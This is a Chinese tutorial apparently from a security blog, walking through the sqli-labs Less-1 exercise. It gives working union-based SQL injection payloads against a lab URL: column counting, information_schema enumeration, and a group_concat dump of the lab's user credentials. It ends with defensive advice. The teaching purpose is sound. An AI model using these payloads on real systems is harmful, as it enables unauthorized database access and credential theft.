目录
前言
实验环境
第一步:判断注入点
第二步:确定字段数(ORDER BY)
第三步:确定显示位(UNION SELECT)
第四步:获取数据库名
第五步:获取表名
第六步:获取列名
第七步:获取数据
技术原理解析
UNION注入原理
为什么用–+注释?
information_schema的作用
防御建议
总结
前言
SQL注入漏洞是Web安全领域最经典、危害最大的漏洞之一。攻击者通过在输入点插入恶意的SQL代码,可以绕过认证、窃取数据甚至控制服务器。今天,我们将通过sqli-labs靶场的第一关,手把手带你完成一次完整的SQL注入攻击,从判断注入点到获取数据库中的所有用户名和密码。无论你是安全初学者还是开发者,理解这一过程都能帮助你更好地防范此类漏洞。
实验环境
-
靶场:sqli-labs(Less-1)
-
目标URL:http://192.168.179.42:8084/Less-1/?id=1
-
注入类型:字符型单引号注入

第一步:判断注入点
首先,我们访问正常页面:http://192.168.179.42:8084/Less-1/?id=1
页面返回一个用户名和密码(Dumb / Dumb),说明参数id=1被正常处理。后台的SQL语句可能类似于:
sql
SELECT * FROM 某表 WHERE id = '1' LIMIT 0,1
为了测试是否存在注入,我们在参数后加上一个单引号:
http://192.168.179.42:8084/Less-1/?id=1'
页面报错:

You have an error in your SQL syntax; … near ''1'' LIMIT 0,1' at line 1
这个错误告诉我们:我们输入的单引号破坏了原始SQL的结构,导致数据库抛出语法错误。原始语句变成了:
SELECT * FROM 某表 WHERE id = '1'' LIMIT 0,1
多出来的单引号使语句提前结束,后面的内容成为多余字符。这证明存在SQL注入漏洞,且参数是被单引号包围的字符型。
第二步:确定字段数(ORDER BY)
为了使用UNION联合查询,我们需要知道当前查询返回了多少列(字段数)。我们可以用ORDER BY子句来猜测:按第N列排序,如果N超过实际列数,就会报错。
依次尝试:
-
http://192.168.179.42:8084/Less-1/?id=1' order by 1 –+ (正常)

-
order by 2 (正常)
-
order by 3 (正常)
-
order by 4 (报错:Unknown column '4' in 'order clause')

说明当前查询只有3列。这里–+是SQL注释符,用来注释掉原始语句中可能存在的LIMIT 0,1,确保我们的注入语法正确。
第三步:确定显示位(UNION SELECT)
知道字段数为3后,我们用UNION SELECT构造一个联合查询,找出哪些列会在页面上显示。为了让第一个查询的结果为空(从而只显示我们构造的数据),我们将id设为不存在的值,比如-1。
Payload:
http://192.168.179.42:8084/Less-1/?id=-1' union select 1,2,3 –+

页面中,原本显示用户名和密码的位置变成了数字2和3。这说明第2列和第3列的内容被输出到前端,即显示位是第2列和第3列。后续我们可以在这两个位置插入想要获取的数据。
第四步:获取数据库名
MySQL提供了一个内置函数database(),可以返回当前使用的数据库名称。我们将其放在第2列:
http://192.168.179.42:8084/Less-1/?id=-1' union select 1,database(),3 –+

页面第2列显示security,说明当前数据库名为security。
第五步:获取表名
MySQL的information_schema数据库存储了所有元数据。我们可以从information_schema.tables中查询当前数据库的所有表名,并使用group_concat()将多行结果合并为一行显示。
Payload:
http://192.168.179.42:8084/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' –+

页面返回:
emails,referers,uagents,users
其中users表很可能存放了用户名和密码。
第六步:获取列名
接下来,查询users表中的所有列名,同样使用information_schema.columns。
Payload:
http://192.168.179.42:8084/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' –+

页面显示:
id,username,password
完美,username和password正是我们需要的字段。
第七步:获取数据
最后,从users表中提取用户名和密码。我们用group_concat将每行的username和password用冒号连接,并用逗号分隔所有行。
Payload:
http://192.168.179.42:8084/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users –+
(0x3a是冒号的十六进制表示)
页面返回所有用户的凭证:

Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
至此,我们成功获取了所有用户的账号密码。
技术原理解析
UNION注入原理
UNION操作符可以将两个或多个SELECT语句的结果合并。利用这一特性,攻击者可以在原始查询后附加自己构造的SELECT语句,从而从其他表中提取数据。关键前提是:前后两个查询的列数必须相同,且数据类型兼容。因此我们需要先用ORDER BY确定列数,再通过显示位定位哪些列会回显到页面上。
为什么用–+注释?
在原始SQL中,语句末尾通常有LIMIT 0,1。我们注入的代码必须注释掉这部分,否则语法错误。–是SQL的单行注释符,但在URL中需要编码为–+(空格被编码为+)才能正常工作。
information_schema的作用
information_schema是MySQL的系统数据库,提供了访问数据库元数据(如表名、列名、权限等)的视图。攻击者通过查询它可以获得整个数据库的结构信息,这是SQL注入中信息收集的关键一步。
防御建议
通过这次实验,我们应该思考如何防止SQL注入:
使用预编译语句(参数化查询) 这是防御SQL注入最有效的方法。预编译语句将SQL语句的结构与数据分离,用户输入不会被解释为SQL代码。
输入验证与过滤 对用户输入进行严格的白名单验证,例如id应为整数,则强制转换为整型。
最小权限原则 数据库连接账户应只授予必要的权限,避免使用高权限账户(如root)连接Web应用。
错误信息处理 不要将原始数据库错误信息直接返回给用户,应自定义错误页面,避免攻击者通过报错获取信息。
使用Web应用防火墙(WAF) WAF可以检测并拦截常见的SQL注入攻击载荷。
总结
sqli-labs第一关完整展示了基于UNION的SQL注入攻击流程。从判断注入点到最终数据提取,每一步都需要对SQL语法和数据库结构有深入理解。作为安全人员,我们不仅要掌握攻击方法,更要懂得如何防御。希望这篇实战记录能帮助你更好地理解SQL注入的原理与防护。



